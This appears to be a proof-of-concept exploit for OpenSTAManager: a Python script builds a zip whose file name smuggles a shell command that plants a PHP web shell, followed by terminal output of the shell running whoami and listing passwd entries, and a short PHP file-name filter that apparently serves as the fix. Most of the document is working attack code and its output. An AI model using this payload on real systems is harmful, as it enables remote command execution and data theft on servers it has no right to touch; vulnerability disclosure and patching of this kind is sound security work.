import zipfile
import time

print("Creating zip file...")
time.sleep(1)

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_file = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_file, b"")

lolw0@sys:~/OpenSTA-Exploit$ python3 exploit.py
Creating zip file...
lolw0@sys:~/OpenSTA-Exploit$ ls
-rw-rw-r 2 lolw0 lolw0 281 Aug 10 22:36 exploit.zip

HTTP/1.1 500 Internal Server Error

"error":{
"type":"Exception",
"message":"Start tag expected, '<' not found\n",
"code":0,
"file":"\/var\/www\/html\/openstamanager\/src\/Util\/XML.php",
"line":51}

lolw0@sys:~/OpenSTA-Exploit$ curl "http://localhost:8080/files/SHELL.php?c=whoami"

www-data

lolw0@sys:~/OpenSTA-Exploit$ curl -s --get \ --data-urlencode 'c=getent passwd | grep -E "/home|/bin/bash|/bin/sh"' \
'http://localhost:8080/files/SHELL.php'

root:x:0:0:root:/root:/bin/bash
xxxx:x:1001:1001:,,,:/home/xxxx:/usr/sbin/nologin
yyyy:x:1002:1002:,,,:/home/yyyy:/usr/sbin/nologin
zzzz:x:1003:1003:,,,:/home/zzzz:/usr/sbin/nologin

foreach ($files_xml as $xml) {
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; 
    }
    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}